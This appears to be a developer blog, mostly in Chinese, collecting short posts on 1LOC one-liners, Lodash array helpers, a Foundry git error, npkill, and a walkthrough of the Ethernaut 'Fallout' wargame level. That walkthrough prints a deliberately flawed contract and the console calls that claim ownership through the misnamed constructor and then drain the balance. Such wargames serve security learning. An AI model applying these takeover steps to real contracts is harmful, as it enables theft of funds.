1LOC

對於初入門TS/JS或是想精進技術的人,1LOC 真的是不能錯過的網站!1LOC 的LOC是指line of code的的縮寫,在這個網站內分門別類分享了許多程式碼,有TS也有JS的版本,幫助開發者在一行內以漂亮達成想要的效果。

以下從網站擷取一些範例 :

Invert keys and values of an object

const invert = (obj) => Object.fromEntries(Object.entries(obj).map(([k, v]) => [v, k]));
//How to use ?
invert({ a: '1', b: '2', c: '3' }); // { 1: 'a', 2: 'b', 3: 'c' }

Calculate Fibonacci numbers

const fibo = (n: number, memo: Record<string, number> = {}): number => memo[n] || (n <= 2 ? 1 : (memo[n] = fibo(n - 1, memo) + fibo(n - 2, memo)));
// How to use ?
fibo(1); // 1
fibo(2); // 1
fibo(3); // 2
fibo(4); // 3
fibo(5); // 5
fibo(6); // 8

Clear all cookies

const clearCookies = (): void => document.cookie.split(';').forEach((c) => (document.cookie = c.replace(/^ +/, '').replace(/=.*/, `=;expires=${new Date().toUTCString()};path=/`)));
clearCookies();

Generate a random hex color

const randomColor = (): string => `#${(~~(Math.random() * (1 << 24))).toString(16)}`;

考量到可讀性,有些程式碼像是fibonacci,比起一行解決我更傾向質樸地寫成十幾行的function,後人會更好維護。所以這個網站內的程式碼可供參考、作為學習的教材,但跟他寫的不一樣、沒有在一行內解決不代表就是壞code!能靈活運用、好閱讀、有效率最重要^^ 分享這個網站給大家~

Javascript library - Lodash

因緣際會下認識了這款實用又方便的套件 - Lodash,Lodash是一個一致性、模塊化、高性能的 Javascript 實用工具庫,遵循 MIT 標準,支持最新的運行環境(擷取自官網的介紹)。

安裝 Install

習慣寫typescript,所以這邊除了lodash,也安裝了@types/lodash

npm install lodash
npm install --save @types/lodash

import

import * as _ from "lodash";

一些範例

Lodash 提供很多好用的函式,這邊就簡單舉一些例子,詳細可以到Lodash docs來看。

  • _.chunk(array, [size=1])

    把陣列拆分成多個size長度的陣列,剩餘不足一個size的剩餘元素組成最後一個陣列

    console.log(_.chunk(['a', 'b', 'c', 'd'], 2))
    // [ [ 'a', 'b' ], [ 'c', 'd' ] ]
    
  • _.compact(array)

    創建一個新的陣列並返回,這個陣列有原陣列所有非假值元素。假值指如 false, null,0, "", undefined, 和 NaN

    console.log(_.compact([0, 1, false, 2, '', 3]))
    // [ 1, 2, 3 ]
    
  • _.drop(array, [n=1])

    去除陣列前n個元素

    console.log(_.drop([1, 2, 3], 2))
    // [ 3 ]
    console.log(_.drop([1, 2, 3], 5))
    // []
    
  • _.fill(array, value, [start=0], [end=array.length])

    將陣列從start位置開始到end位置結束替換為value,會改變原陣列,非建立新陣列回傳。

    console.log(_.fill(Array(3), 2))
    // [ 2, 2, 2 ]
    console.log(_.fill([4, 6, 8, 10], '*', 1, 3))
    // [ 4, '*', '*', 10 ]
    
  • _.flatten(array)

    減少一層陣列嵌套

    console.log(_.flatten([1, [2, [3, [4]], 5]]))
    // [ 1, 2, [ 3, [ 4 ] ], 5 ]
    
  • _.flattenDeep(array)

    使成為一維陣列

    console.log(_.flattenDeep([1, [2, [3, [4]], 5]]))
    // [ 1, 2, 3, 4, 5 ]
    
  • _.remove(array, [predicate=_.identity])

    移除陣列中predicatetrue的元素並返回

    var array = [1, 2, 3, 4];
    var evens = _.remove(array, function(n) { return n % 2 == 0;})
    console.log('array: ', array);
    console.log('evens: ', evens);
    // array:  [ 1, 3 ]
    // evens:  [ 2, 4 ]
    
  • _.uniq(array)

    去除重複元素(保留第一次出現的元素)

    console.log(_.uniq([2, 1, 2]))
    // [ 2, 1 ]
    
  • _.unzip(array) 與 _.zip([arrays])

    var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
    console.log('zipped: ', zipped)
    // zipped:  [ [ 'a', 1, true ], [ 'b', 2, false ] ]
    console.log(_.unzip(zipped))
    // [ [ 'a', 'b' ], [ 1, 2 ], [ true, false ] ]
    
  • _.zipWith([arrays], [iteratee=_.identity])

    console.log(_.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) { return a + b + c; }))
    // [ 111, 222 ]
    

Ethernaut - 2.Fallout

Difficulty: 🌕🌑🌑🌑🌑

Claim ownership of the contract below to complete this level.

Things that might help

  • Solidity Remix IDE

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Writeup

  1. Get new instance
  2. Call the method
    
     await contract.owner()
        
    

    to check contract owner, it return address 0x0000000000000000000000000000000000000000.

  3. Call the method
    
     await contract.allocatorBalance(YOUR_ADDRESS).then(v=>v.toString())
    
    

    to check balance, it will return zero.

  4. Call the method
    
     await contract.Fal1out({ value: toWei("0.00001") })
    
    
  5. Call method allovatorBalance again like step3, we can see out balance become 10000000000000 now.
  6. Call the method
    
     await contract.collectAllocations()
    
    
  7. Submit instance ξ( ✿>◡❛)

forge install : fatal: Not a git repository (or any of the parent directories)

Run forge install some-repo command then get fatal: Not a git repository (or any of the parent directories)error. Because there are no .git folder!
Solve the problem by run forge init (or forge init --force)

npkill - tool to remove node_modules

There is a fast way to remove node_modules folder, which can help us save mamory wonderfully.

  1. Run npx npkill in terminal
  2. Select folder you want to delete and press SPACE key ! How simple is it ?